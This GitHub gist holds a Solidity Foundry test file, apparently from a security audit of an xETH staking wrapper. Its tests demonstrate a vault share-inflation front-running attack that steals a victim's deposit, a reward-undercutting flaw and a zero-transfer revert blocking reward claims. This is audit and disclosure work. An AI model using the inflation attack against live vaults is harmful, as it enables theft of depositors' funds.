Skip to content

Instantly share code, notes, and snippets.

@romeroadrian
Created May 15, 2023 18:12
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save romeroadrian/475d1f809301c5a0ccf2e6e9bec85472 to your computer and use it in GitHub Desktop.
Save romeroadrian/475d1f809301c5a0ccf2e6e9bec85472 to your computer and use it in GitHub Desktop.
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "@openzeppelin-contracts/token/ERC20/IERC20.sol";
import {ICurveFactory} from "src/interfaces/ICurveFactory.sol";
import {xETH as xETHToken} from "src/xETH.sol";
import {xETH_AMO} from "src/AMO2.sol";
import {ICurvePool} from "src/interfaces/ICurvePool.sol";
import {ICVXBooster} from "src/interfaces/ICVXBooster.sol";
import {MockCVXStaker} from "./mocks/MockCVXStaker.sol";
import {WrappedXETH} from "src/wxETH.sol";
import {MockErc20} from "./mocks/MockERC20.sol";
import {CVXStaker} from "src/CVXStaker.sol";
contract RevertOnZeroErc20 is MockErc20 {
constructor(
string memory name_,
string memory symbol_,
uint8 tokenDecimals
) MockErc20(name_, symbol_, tokenDecimals) {
}
function transfer(address to, uint256 amount) public override returns (bool) {
require(amount > 0, "cannot transfer zero amount");
return super.transfer(to, amount);
}
}
contract MockCVXRewards {
function getReward(
address _account,
bool _claimExtras
) external returns (bool) {
return true;
}
}
contract AuditTest is Test {
string MAINNET_RPC_URL = vm.envString("MAINNET_RPC_URL");
ICurveFactory constant factory = ICurveFactory(0xB9fC157394Af804a3578134A6585C0dc9cc990d4);
address deployer;
address alice;
address bob;
address charlie;
xETHToken xETH;
MockErc20 stETH;
WrappedXETH wxETH;
ICurvePool curvePool;
function setUp() public {
vm.createSelectFork(MAINNET_RPC_URL, 17200000);
deployer = makeAddr("deployer");
alice = makeAddr("alice");
bob = makeAddr("bob");
charlie = makeAddr("charlie");
vm.startPrank(deployer);
xETH = new xETHToken();
stETH = new MockErc20("Staked Ether", "StETH", 18);
wxETH = new WrappedXETH(address(xETH));
// curvePool = ICurvePool(deployPool());
vm.label(address(xETH), "xETH");
vm.label(address(stETH), "stETH");
vm.label(address(wxETH), "wxETH");
vm.stopPrank();
}
function deployPool() internal returns (address pool) {
address[4] memory coins;
coins[0] = address(xETH);
coins[1] = address(stETH);
pool = factory.deploy_plain_pool(
"XETH-stETH Pool",
"XETH/stETH",
coins,
200, // A
4000000, // Fee
3, // asset type 1 = ETH, 3 = Other
1 // implementation index = balances
);
vm.label(pool, "curve_pool");
}
function test_wxETH_InflationAttack() public {
// Alice will stake, Bob will play the attacker role
uint256 depositAmount = 1e18;
deal(address(xETH), alice, depositAmount);
deal(address(xETH), bob, depositAmount + 1);
// Bob frontruns Alice initial stake
vm.startPrank(bob);
xETH.approve(address(wxETH), type(uint256).max);
// He first stakes 1 wei to have 1 share
wxETH.stake(1);
assertEq(wxETH.balanceOf(bob), 1);
// He then donates depositAmount+1 to the contract
xETH.transfer(address(wxETH), depositAmount);
vm.stopPrank();
// Now comes Alice stake
vm.startPrank(alice);
xETH.approve(address(wxETH), type(uint256).max);
wxETH.stake(depositAmount);
// Alice will have 0 shares
assertEq(wxETH.balanceOf(alice), 0);
vm.stopPrank();
// Now Bob unstakes his share to steal everything
vm.prank(bob);
wxETH.unstake(1);
assertEq(xETH.balanceOf(bob), depositAmount * 2 + 1);
}
function test_wxETH_UndercutRewards() public {
uint256 aliceAmount = 1e18;
uint256 deployerAmount = 100e18;
deal(address(xETH), alice, aliceAmount);
deal(address(xETH), deployer, deployerAmount);
// Deployer setups drip with 1e18 drip per block and locks 3e18 tokens
vm.startPrank(deployer);
xETH.approve(address(wxETH), type(uint256).max);
wxETH.setDripRate(1e18);
wxETH.addLockedFunds(3e18);
wxETH.startDrip();
vm.stopPrank();
// Alice stakes her xETH
vm.startPrank(alice);
xETH.approve(address(wxETH), type(uint256).max);
wxETH.stake(aliceAmount);
vm.stopPrank();
// Simulate 5 blocks ellapse
vm.roll(block.number + 5);
// Now deployers decides to refill contract
vm.prank(deployer);
wxETH.addLockedFunds(10e18);
vm.startPrank(alice);
// Alice decides to unstake
wxETH.unstake(wxETH.balanceOf(alice));
// Even though funds were available to distribute rewards for 5 blocks she only gets her initial deposit
// plus the 3e18 from only 3 blocks
assertEq(xETH.balanceOf(alice), 1e18 + 3e18);
// This also disables the dripping!
assertFalse(wxETH.dripEnabled());
vm.stopPrank();
}
function test_CVXStaker_RevertOnZeroTokenTransfer() public {
MockErc20 token1 = new MockErc20("Token1", "TOK1", 18);
MockErc20 token2 = new RevertOnZeroErc20("Token2", "TOK2", 18);
MockCVXRewards rewards = new MockCVXRewards();
address operator = makeAddr("operator");
IERC20 clpToken = IERC20(makeAddr("clpToken"));
ICVXBooster booster = ICVXBooster(makeAddr("booster"));
address[] memory rewardTokens = new address[](2);
rewardTokens[0] = address(token1);
rewardTokens[1] = address(token2);
CVXStaker staker = new CVXStaker(operator, clpToken, booster, rewardTokens);
staker.setCvxPoolInfo(0, address(clpToken), address(rewards));
address rewardsRecipient = makeAddr("rewardsRecipient");
staker.setRewardsRecipient(rewardsRecipient);
// simulate staker has some token1 but zero token2 after calling getRewards
deal(address(token1), address(staker), 1e18);
// The transaction will fail as the implementation will try to transfer zero
// tokens for token2, blocking the whole operation.
vm.expectRevert("cannot transfer zero amount");
staker.getReward(true);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment